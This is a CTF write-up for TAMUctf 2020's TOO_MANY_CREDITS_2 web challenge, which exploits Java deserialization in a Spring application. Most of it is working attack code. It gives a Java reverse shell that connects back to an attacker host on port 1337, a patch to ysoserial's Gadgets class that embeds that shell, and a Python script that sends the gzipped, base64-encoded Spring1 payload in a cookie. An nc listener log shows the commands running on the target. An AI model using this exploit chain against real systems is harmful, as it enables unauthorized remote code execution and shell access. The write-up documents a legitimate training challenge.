Tags: deserialize web ysoserial serialization java rce spring 

Rating:

TAMUctf 2020 – TOO_MANY_CREDITS_2

  • Category: web
  • Points: 432

Challenge

Even if you could get the first flag, I bet you can't pop a shell!

http://toomanycredits.tamuctf.com

Solution

This challenge is the continuation of the previous one.

Considering that:

  • the backend is using Java;
  • there is the Spring logo in the favicon.

This is a Java Deserialization vulnerability which can lead to a Remote Code Execution.

ysoserial Spring1 payload can be used to have a RCE, but I was not able to find how to exfiltrate the output of commands via pure shell.

So I downloaded ysoserial source code and I patched it in order to have a Java based shell inspired from this one.

java.lang.String host="x.x.x.x";
int port=1337;
java.lang.String[] cmd={"commands", "here"};
java.lang.Process p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();java.net.Socket s=new java.net.Socket(host,port);java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50L);try {p.exitValue();break;}catch (java.lang.Exception e){}};p.destroy();s.close();

You can change the code into ysoserial.payloads.util.Gadgets class from this...

        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";

to this...

        String command_tmp = "";
        for (String s: command.split(" ")) {
           command_tmp += ("\"" + s + "\",");
        }
        command_tmp = command_tmp.substring(0, command_tmp.length() - 1);
        String cmd = "java.lang.String host=\"x.x.x.x\";int port=1337;java.lang.String[] cmd={" +
            command_tmp.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
              "};java.lang.Process p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();java.net.Socket s=new java.net.Socket(host,port);java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50L);try {p.exitValue();break;}catch (java.lang.Exception e){}};p.destroy();s.close();";

You can see the complete Java file here.

At this point you can setup a listening host with nc -lvkp 1337 and you can improve the Python script for the previous challenge in order to use the patched ysoserial and to read the produced payload.

import gzip
import base64
import requests
import os
import sys
import time

payload_file = "payload-spring1.bin"
url = "http://toomanycredits.tamuctf.com/"
headers = {
   "User-Agent": "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);",
   "Referer": "http://toomanycredits.tamuctf.com/"
}

command = sys.argv[1]

payload = "{}".format(command)
print("[*] Creating payload: {}".format(payload))
os.remove(payload_file)
os.popen("java -jar ./ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 \"{}\" > {}".format(payload, payload_file))
time.sleep(5)

with open(payload_file, "rb") as f:
    malicious_payload = f.read()

print("[*] Malicious payload is: {}".format(malicious_payload))

compressed_malicious_bytes = gzip.compress(malicious_payload)
print("[*] Compressed malicious bytes are: {}".format(compressed_malicious_bytes))

base64_compressed_malicious_payload = base64.b64encode(compressed_malicious_bytes).decode("ascii")
print("[*] Base64 compressed malicious string is: {}".format(base64_compressed_malicious_payload))

print("[*] Sending request.")
cookies = dict(counter="\"{}\"".format(base64_compressed_malicious_payload))
page = requests.get(url, headers=headers, cookies=cookies)

print("[*] Response received:\n\n{}".format(page.text))

Launching commands will allow you to discover the flag.

root@m3ssap0:~/Desktop# python3 too-many-credits-2-solver.py "ls"
root@m3ssap0:~/Desktop# python3 too-many-credits-2-solver.py "cat flag.txt"



root@m3ssap0:~# nc -lvkp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from ec2-34-208-211-186.us-west-2.compute.amazonaws.com 57272 received!
bin
flag.txt
lib
Connection from ec2-34-208-211-186.us-west-2.compute.amazonaws.com 57388 received!
gigem{da$h_3_1s_A_l1f3seNd}

The flag is the following.

gigem{da$h_3_1s_A_l1f3seNd}
Original writeup (https://github.com/m3ssap0/CTF-Writeups/blob/master/TAMUctf%202020/TOO_MANY_CREDITS_2/README.md).